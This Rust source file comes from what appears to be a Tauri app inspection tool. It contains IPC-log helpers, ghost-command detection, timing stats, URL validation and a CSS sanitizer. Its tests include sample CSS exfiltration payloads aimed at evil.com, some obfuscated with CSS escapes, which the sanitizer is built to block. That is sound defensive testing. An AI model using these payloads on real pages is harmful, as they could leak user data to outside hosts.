use rmcp::model::{CallToolResult, Content};
pub fn js_string(s: &str) -> String {
let mut out = String::with_capacity(s.len() + 2);
out.push('"');
for ch in s.chars() {
match ch {
'"' => out.push_str("\\\""),
'\\' => out.push_str("\\\\"),
'\n' => out.push_str("\\n"),
'\r' => out.push_str("\\r"),
'\t' => out.push_str("\\t"),
'\0' => out.push_str("\\u0000"),
c if c.is_ascii_graphic() || c == ' ' => out.push(c),
c => {
for unit in c.encode_utf16(&mut [0; 2]) {
use std::fmt::Write;
let _ = write!(out, "\\u{unit:04x}");
}
}
}
}
out.push('"');
out
}
#[must_use]
pub fn json_truthy(value: &serde_json::Value) -> bool {
match value {
serde_json::Value::Null => false,
serde_json::Value::Bool(b) => *b,
serde_json::Value::Number(n) => n.as_f64().is_some_and(|f| f != 0.0 && !f.is_nan()),
serde_json::Value::String(s) => !s.is_empty(),
serde_json::Value::Array(a) => !a.is_empty(),
serde_json::Value::Object(o) => !o.is_empty(),
}
}
#[must_use]
pub fn ghost_ipc_projection_js(since_ms: Option<i64>) -> String {
let filter = match since_ms {
Some(ms) if ms > 0 => format!(
".filter(function(c){{ return c && c.timestamp && c.timestamp >= (Date.now() - {ms}); }})"
),
_ => String::new(),
};
format!(
"return (window.__VICTAURI__?.getIpcLog() || []){filter}\
.map(function(c){{ return (c && c.command) || null; }})\
.filter(function(x){{ return x; }})"
)
}
#[must_use]
pub fn ghost_ipc_outcomes_js(since_ms: Option<i64>) -> String {
let filter = match since_ms {
Some(ms) if ms > 0 => format!(
".filter(function(c){{ return c && c.timestamp && c.timestamp >= (Date.now() - {ms}); }})"
),
_ => String::new(),
};
format!(
"return (function() {{\
\n var log = (window.__VICTAURI__?.getIpcLog() || []){filter};\
\n var byCmd = {{}};\
\n for (var i = 0; i < log.length; i++) {{\
\n var c = log[i]; if (!c || !c.command) continue;\
\n var e = byCmd[c.command] || {{ command: c.command, ok: false, err: null }};\
\n if (c.status === 'ok') {{ e.ok = true; }}\
\n else if (c.status === 'error') {{\
\n var body = ((c.result != null ? String(c.result) : '') + ' ' + (c.error != null ? String(c.error) : ''));\
\n var sample = body.slice(0, 160).toLowerCase();\
\n /* keep the most diagnostic sample: a 'not found' error always wins over a generic one */\
\n if (!e.err || sample.indexOf('not found') !== -1) {{ e.err = sample; }}\
\n }}\
\n byCmd[c.command] = e;\
\n }}\
\n return Object.keys(byCmd).map(function(k) {{ return byCmd[k]; }});\
\n}})();"
)
}
#[derive(Debug, serde::Deserialize)]
pub struct IpcOutcome {
pub command: String,
#[serde(default)]
pub ok: bool,
#[serde(default)]
pub err: Option<String>,
}
fn is_framework_builtin(name: &str) -> bool {
name.starts_with("plugin:")
}
fn error_means_not_found(err: &str, command: &str) -> bool {
err.contains("unknown command")
|| err.contains("not registered")
|| (err.contains("not found")
&& (err.contains("command") || err.contains(&command.to_lowercase())))
}
#[must_use]
pub fn build_ghost_report(
outcomes: &[IpcOutcome],
registry: &victauri_core::CommandRegistry,
) -> serde_json::Value {
use std::collections::HashSet;
let invoked: Vec<String> = outcomes.iter().map(|o| o.command.clone()).collect();
let handled: HashSet<&str> = outcomes
.iter()
.filter(|o| o.ok)
.map(|o| o.command.as_str())
.collect();
let report = victauri_core::detect_ghost_commands(&invoked, registry);
let mut confirmed: Vec<(&str, &str)> = Vec::new();
for o in outcomes {
if !o.ok
&& !is_framework_builtin(&o.command)
&& let Some(err) = o.err.as_deref()
&& error_means_not_found(err, &o.command)
{
confirmed.push((o.command.as_str(), err));
}
}
let confirmed_names: HashSet<&str> = confirmed.iter().map(|(n, _)| *n).collect();
let frontend_only: Vec<_> = report
.frontend_only
.iter()
.filter(|g| {
!handled.contains(g.name.as_str())
&& !is_framework_builtin(&g.name)
&& !confirmed_names.contains(g.name.as_str())
})
.cloned()
.collect();
let excluded_builtins: Vec<&str> = report
.frontend_only
.iter()
.map(|g| g.name.as_str())
.filter(|n| is_framework_builtin(n))
.collect();
let registry_total = report.total_registry_commands;
let reliability = if registry_total > 0 { "high" } else { "low" };
let note = format!(
"Outcome-based ghost detection. `confirmed_ghosts` ({confirmed}) were invoked, never \
returned success, and errored 'not found' — real missing-handler bugs, high confidence, \
independent of the registry. `verified_handlers` ({verified}) returned success so they \
provably HAVE a handler and are never flagged (this is why a real command such as \
set_language is no longer a false positive). `frontend_only` ({fe}) is the weaker \
candidate tier: invoked, never observed succeeding, not a framework builtin, and absent \
from the introspection registry ({registry_total} known) — confirm against the app's \
generate_handler! before filing. `excluded_builtins` are Tauri/plugin framework \
commands, never app ghosts. The `reliability` field describes only `frontend_only`; \
`confirmed_ghosts` is high-confidence regardless.",
confirmed = confirmed.len(),
verified = handled.len(),
fe = frontend_only.len(),
);
serde_json::json!({
"confirmed_ghosts": confirmed
.iter()
.map(|(name, error)| serde_json::json!({ "name": name, "error": error }))
.collect::<Vec<_>>(),
"verified_handlers": handled.len(),
"frontend_only": frontend_only,
"excluded_builtins": excluded_builtins,
"registry_only": report.registry_only,
"total_frontend_commands": report.total_frontend_commands,
"total_registry_commands": registry_total,
"reliability": reliability,
"note": note,
})
}
#[must_use]
pub fn ipc_timing_projection_js(since_ms: Option<i64>) -> String {
let filter = match since_ms {
Some(ms) if ms > 0 => format!(
".filter(function(c){{ return c && c.timestamp && c.timestamp >= (Date.now() - {ms}); }})"
),
_ => String::new(),
};
format!(
"return (window.__VICTAURI__?.getIpcLog() || []){filter}\
.map(function(c){{ return (c && c.command) ? {{ command: c.command, \
duration_ms: (typeof c.duration_ms === 'number' ? c.duration_ms : null) }} : null; }})\
.filter(function(x){{ return x; }})"
)
}
#[must_use]
pub fn ipc_timing_stats(entries: &[serde_json::Value]) -> Vec<serde_json::Value> {
use std::collections::BTreeMap;
let mut counts: BTreeMap<String, usize> = BTreeMap::new();
let mut durations: BTreeMap<String, Vec<f64>> = BTreeMap::new();
for e in entries {
let Some(cmd) = e.get("command").and_then(|c| c.as_str()) else {
continue;
};
*counts.entry(cmd.to_string()).or_default() += 1;
if let Some(d) = e.get("duration_ms").and_then(serde_json::Value::as_f64) {
durations.entry(cmd.to_string()).or_default().push(d);
}
}
let mut out: Vec<serde_json::Value> = counts
.into_iter()
.map(|(cmd, call_count)| {
let mut durs = durations.remove(&cmd).unwrap_or_default();
durs.sort_by(|a, b| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal));
let n = durs.len();
let (min, max, avg, p95) = if n == 0 {
(None, None, None, None)
} else {
let sum: f64 = durs.iter().sum();
let p95_idx = (((n as f64) * 0.95).ceil() as usize)
.saturating_sub(1)
.min(n - 1);
let round1 = |v: f64| (v * 10.0).round() / 10.0;
(
Some(round1(durs[0])),
Some(round1(durs[n - 1])),
Some(round1(sum / n as f64)),
Some(round1(durs[p95_idx])),
)
};
serde_json::json!({
"command": cmd,
"call_count": call_count,
"timed_samples": n,
"min_ms": min,
"max_ms": max,
"avg_ms": avg,
"p95_ms": p95,
})
})
.collect();
out.sort_by(|a, b| {
b.get("call_count")
.and_then(serde_json::Value::as_u64)
.cmp(&a.get("call_count").and_then(serde_json::Value::as_u64))
});
out
}
pub fn json_result(value: &impl serde::Serialize) -> CallToolResult {
match serde_json::to_string_pretty(value) {
Ok(json) => CallToolResult::success(vec![Content::text(json)]),
Err(e) => tool_error(e.to_string()),
}
}
pub fn tool_error(msg: impl Into<String>) -> CallToolResult {
let mut result = CallToolResult::success(vec![Content::text(msg)]);
result.is_error = Some(true);
result
}
pub fn tool_disabled(name: &str) -> CallToolResult {
tool_error_with_hint(
format!("tool '{name}' is disabled by privacy configuration"),
RecoveryHint::ReportToUser,
)
}
#[derive(Debug, Clone, Copy)]
pub enum RecoveryHint {
CheckInput,
ReportToUser,
}
impl RecoveryHint {
pub fn as_str(self) -> &'static str {
match self {
Self::CheckInput => "CHECK_INPUT",
Self::ReportToUser => "REPORT_TO_USER",
}
}
}
pub fn tool_error_with_hint(msg: impl Into<String>, hint: RecoveryHint) -> CallToolResult {
let message = msg.into();
let text = format!(
"{message}
[hint: {}]",
hint.as_str()
);
let mut result = CallToolResult::success(vec![Content::text(text)]);
result.is_error = Some(true);
result
}
pub fn missing_param(param: &str, action: &str) -> CallToolResult {
tool_error_with_hint(
format!("missing required parameter '{param}' for action '{action}'"),
RecoveryHint::CheckInput,
)
}
pub fn validate_url(url: &str, allow_file: bool) -> Result<(), String> {
let trimmed: String = url.chars().filter(|c| !c.is_control()).collect();
match url::Url::parse(&trimmed) {
Ok(parsed) => match parsed.scheme() {
"http" | "https" => Ok(()),
"file" if allow_file => Ok(()),
"file" => Err("scheme 'file' is not allowed by default; enable with \
VictauriBuilder::allow_file_navigation()"
.to_string()),
scheme => Err(format!(
"scheme '{scheme}' is not allowed; use http or https"
)),
},
Err(e) => Err(format!("invalid URL: {e}")),
}
}
pub fn sanitize_css_color(color: &str) -> Result<String, String> {
let s = color.trim();
if s.len() > 100 {
return Err("CSS color value too long".to_string());
}
if s.contains('\\') {
return Err("CSS escape sequences not allowed in color values".to_string());
}
let valid = s
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, '#' | '(' | ')' | ',' | '.' | ' ' | '%' | '-'));
if !valid {
return Err("invalid characters in CSS color value".to_string());
}
let lower = s.to_lowercase();
if lower.contains("url(") || lower.contains("expression(") {
return Err("invalid CSS color value".to_string());
}
Ok(s.to_string())
}
fn strip_css_comments(css: &str) -> String {
let bytes = css.as_bytes();
let mut out = String::with_capacity(css.len());
let mut i = 0;
while i < bytes.len() {
if i + 1 < bytes.len() && bytes[i] == b'/' && bytes[i + 1] == b'*' {
i += 2;
while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i + 1] == b'/') {
i += 1;
}
i = (i + 2).min(bytes.len());
} else {
out.push(bytes[i] as char);
i += 1;
}
}
out
}
fn decode_css_escapes(css: &str) -> String {
let mut out = String::with_capacity(css.len());
let mut chars = css.chars().peekable();
while let Some(c) = chars.next() {
if c != '\\' {
out.push(c);
continue;
}
let mut hex = String::new();
while hex.len() < 6 && chars.peek().is_some_and(char::is_ascii_hexdigit) {
hex.push(chars.next().unwrap());
}
if hex.is_empty() {
if let Some(next) = chars.next() {
out.push(next);
}
} else {
if chars.peek().is_some_and(char::is_ascii_whitespace) {
chars.next();
}
match u32::from_str_radix(&hex, 16).ok().and_then(char::from_u32) {
Some(decoded) => out.push(decoded),
None => out.push('\u{FFFD}'),
}
}
}
out
}
pub fn sanitize_injected_css(css: &str, allow_remote: bool) -> Result<(), String> {
const MAX_CSS_LEN: usize = 256 * 1024;
if css.len() > MAX_CSS_LEN {
return Err(format!(
"injected CSS too large ({} bytes, limit {MAX_CSS_LEN})",
css.len()
));
}
if allow_remote {
return Ok(());
}
let scan = decode_css_escapes(&strip_css_comments(css)).to_ascii_lowercase();
if scan.contains("@import") {
return Err(
"`@import` is blocked in injected CSS (it fetches a remote stylesheet — \
a data-exfiltration vector). Inline the rules, or pass `allow_remote: true`."
.to_string(),
);
}
let bytes = scan.as_bytes();
let mut search_from = 0;
while let Some(rel) = scan[search_from..].find("url(") {
let arg_start = search_from + rel + 4;
let arg_end = scan[arg_start..]
.find(')')
.map_or(scan.len(), |e| arg_start + e);
let arg = bytes[arg_start..arg_end]
.iter()
.map(|&b| b as char)
.collect::<String>();
let trimmed = arg.trim().trim_matches(['\'', '"']).trim();
if trimmed.starts_with("//") || trimmed.contains("://") {
return Err(format!(
"remote `url(...)` is blocked in injected CSS (`{}` would fetch a remote \
origin — a data-exfiltration vector). Use a relative or data: URL, or pass \
`allow_remote: true`.",
trimmed.chars().take(80).collect::<String>()
));
}
search_from = arg_end;
}
Ok(())
}
#[cfg(test)]
mod json_truthy_tests {
use super::json_truthy;
use serde_json::json;
#[test]
fn falsy_values() {
assert!(!json_truthy(&json!(null)));
assert!(!json_truthy(&json!(false)));
assert!(!json_truthy(&json!(0)));
assert!(!json_truthy(&json!(0.0)));
assert!(!json_truthy(&json!("")));
assert!(!json_truthy(&json!([])));
assert!(!json_truthy(&json!({})));
}
#[test]
fn truthy_values() {
assert!(json_truthy(&json!(true)));
assert!(json_truthy(&json!(1)));
assert!(json_truthy(&json!(-1)));
assert!(json_truthy(&json!("ready")));
assert!(json_truthy(&json!([1])));
assert!(json_truthy(&json!({ "k": "v" })));
}
}
#[cfg(test)]
mod ghost_projection_tests {
use super::ghost_ipc_projection_js;
#[test]
fn projects_whole_log_when_since_absent() {
let js = ghost_ipc_projection_js(None);
assert!(js.contains("getIpcLog()"));
assert!(js.contains(".map("));
assert!(!js.contains("Date.now()"));
assert!(!js.contains("c.timestamp"));
}
#[test]
fn applies_window_when_since_positive() {
let js = ghost_ipc_projection_js(Some(5000));
assert!(js.contains("c.timestamp"));
assert!(js.contains("Date.now() - 5000"));
let win = js.find("Date.now()").unwrap();
let map = js.find(".map(").unwrap();
assert!(win < map, "time filter must run before the name map");
}
#[test]
fn ignores_nonpositive_since() {
assert!(!ghost_ipc_projection_js(Some(0)).contains("Date.now()"));
assert!(!ghost_ipc_projection_js(Some(-10)).contains("Date.now()"));
}
}
#[cfg(test)]
mod injected_css_tests {
use super::sanitize_injected_css;
#[test]
fn blocks_at_import() {
assert!(sanitize_injected_css("@import url(https://evil.com/x.css);", false).is_err());
assert!(sanitize_injected_css("/* x */@import 'https://evil.com';", false).is_err());
assert!(sanitize_injected_css("@imp/* */ort url(//evil.com)", false).is_err());
}
#[test]
fn blocks_remote_url() {
assert!(
sanitize_injected_css("body{background:url(https://evil.com/x?d=1)}", false).is_err()
);
assert!(sanitize_injected_css("body{background:url('//evil.com/x')}", false).is_err());
assert!(sanitize_injected_css("a{cursor:url(ftp://evil.com/c)}", false).is_err());
}
#[test]
fn allows_local_and_data() {
assert!(sanitize_injected_css("body{color:red}", false).is_ok());
assert!(sanitize_injected_css("body{background:url('/assets/x.png')}", false).is_ok());
assert!(sanitize_injected_css("body{background:url(#grad)}", false).is_ok());
assert!(
sanitize_injected_css("body{background:url(data:image/png;base64,AAAA)}", false)
.is_ok()
);
}
#[test]
fn allow_remote_opts_back_in() {
assert!(sanitize_injected_css("@import url(https://fonts.example/x.css);", true).is_ok());
assert!(
sanitize_injected_css("body{background:url(https://cdn.example/x.png)}", true).is_ok()
);
}
#[test]
fn blocks_css_escape_obfuscated_import() {
assert!(sanitize_injected_css("\\40 import url(https://evil.com/x.css);", false).is_err());
assert!(sanitize_injected_css("\\000040import 'https://evil.com';", false).is_err());
assert!(sanitize_injected_css("\\@import url(//evil.com)", false).is_err());
}
#[test]
fn blocks_css_escape_obfuscated_remote_url() {
assert!(
sanitize_injected_css("body{background:\\75 rl(https://evil.com/x)}", false).is_err()
);
assert!(
sanitize_injected_css("body{background:url(\\00002f\\00002fevil.com/x)}", false)
.is_err()
);
}
#[test]
fn escape_decoding_preserves_legitimate_css() {
assert!(sanitize_injected_css("a::before{content:'\\2022'}", false).is_ok());
assert!(sanitize_injected_css("body{color:red}", false).is_ok());
}
}
#[cfg(test)]
mod ipc_timing_tests {
use super::{ipc_timing_projection_js, ipc_timing_stats};
use serde_json::json;
#[test]
fn projection_is_body_free() {
let js = ipc_timing_projection_js(None);
assert!(js.contains("c.command"));
assert!(js.contains("duration_ms"));
assert!(!js.contains("result"));
assert!(!js.contains("args"));
assert!(!js.contains("Date.now()"));
assert!(ipc_timing_projection_js(Some(5000)).contains("Date.now() - 5000"));
}
#[test]
fn stats_aggregate_per_command_with_percentiles() {
let entries = vec![
json!({ "command": "get_settings", "duration_ms": 10.0 }),
json!({ "command": "get_settings", "duration_ms": 30.0 }),
json!({ "command": "get_settings", "duration_ms": 20.0 }),
json!({ "command": "save", "duration_ms": 5.0 }),
];
let stats = ipc_timing_stats(&entries);
assert_eq!(stats.len(), 2);
assert_eq!(stats[0]["command"], "get_settings");
assert_eq!(stats[0]["call_count"], 3);
assert_eq!(stats[0]["timed_samples"], 3);
assert_eq!(stats[0]["min_ms"], 10.0);
assert_eq!(stats[0]["max_ms"], 30.0);
assert_eq!(stats[0]["avg_ms"], 20.0);
assert_eq!(stats[1]["command"], "save");
assert_eq!(stats[1]["call_count"], 1);
}
#[test]
fn pending_calls_count_but_do_not_skew_latency() {
let entries = vec![
json!({ "command": "run_pipeline", "duration_ms": null }),
json!({ "command": "run_pipeline", "duration_ms": 100.0 }),
];
let stats = ipc_timing_stats(&entries);
assert_eq!(stats[0]["call_count"], 2);
assert_eq!(stats[0]["timed_samples"], 1);
assert_eq!(stats[0]["avg_ms"], 100.0);
}
#[test]
fn empty_input_yields_empty_stats() {
assert!(ipc_timing_stats(&[]).is_empty());
}
}
#[cfg(test)]
mod ghost_report_tests {
use super::{IpcOutcome, build_ghost_report};
use victauri_core::{CommandInfo, CommandRegistry};
fn outcome(command: &str, ok: bool, err: Option<&str>) -> IpcOutcome {
IpcOutcome {
command: command.to_string(),
ok,
err: err.map(str::to_string),
}
}
#[test]
fn succeeded_command_is_never_a_ghost() {
let registry = CommandRegistry::new(); let v = build_ghost_report(&[outcome("set_language", true, None)], ®istry);
assert_eq!(v["verified_handlers"], 1);
assert!(
v["frontend_only"].as_array().unwrap().is_empty(),
"a command that returned success must not be a ghost"
);
assert!(v["confirmed_ghosts"].as_array().unwrap().is_empty());
}
#[test]
fn framework_builtins_are_excluded() {
let registry = CommandRegistry::new();
let outcomes = [
outcome("plugin:event|emit", false, Some("some error")),
outcome("plugin:updater|check", false, None),
];
let v = build_ghost_report(&outcomes, ®istry);
assert!(v["frontend_only"].as_array().unwrap().is_empty());
assert!(v["confirmed_ghosts"].as_array().unwrap().is_empty());
assert_eq!(v["excluded_builtins"].as_array().unwrap().len(), 2);
}
#[test]
fn not_found_error_is_a_confirmed_ghost() {
let registry = CommandRegistry::new();
let v = build_ghost_report(
&[outcome(
"get_widgetz",
false,
Some("command get_widgetz not found"),
)],
®istry,
);
let confirmed = v["confirmed_ghosts"].as_array().unwrap();
assert_eq!(confirmed.len(), 1);
assert_eq!(confirmed[0]["name"], "get_widgetz");
assert!(v["frontend_only"].as_array().unwrap().is_empty());
}
#[test]
fn app_level_not_found_is_not_a_confirmed_ghost() {
let registry = CommandRegistry::new();
let v = build_ghost_report(
&[outcome("get_user", false, Some("user not found"))],
®istry,
);
assert!(
v["confirmed_ghosts"].as_array().unwrap().is_empty(),
"an app-level 'not found' must not be a confirmed ghost: {}",
v["confirmed_ghosts"]
);
assert_eq!(v["frontend_only"].as_array().unwrap().len(), 1);
}
#[test]
fn never_succeeded_unregistered_is_a_weak_candidate() {
let registry = CommandRegistry::new();
let v = build_ghost_report(
&[outcome(
"save_thing",
false,
Some("validation failed: bad arg"),
)],
®istry,
);
assert!(v["confirmed_ghosts"].as_array().unwrap().is_empty());
let fo = v["frontend_only"].as_array().unwrap();
assert_eq!(fo.len(), 1);
assert_eq!(fo[0]["name"], "save_thing");
}
#[test]
fn registered_command_is_not_flagged_even_if_it_only_errored() {
let registry = CommandRegistry::new();
registry.register(CommandInfo::new("known_cmd"));
let v = build_ghost_report(&[outcome("known_cmd", false, Some("oops"))], ®istry);
assert!(v["frontend_only"].as_array().unwrap().is_empty());
}
}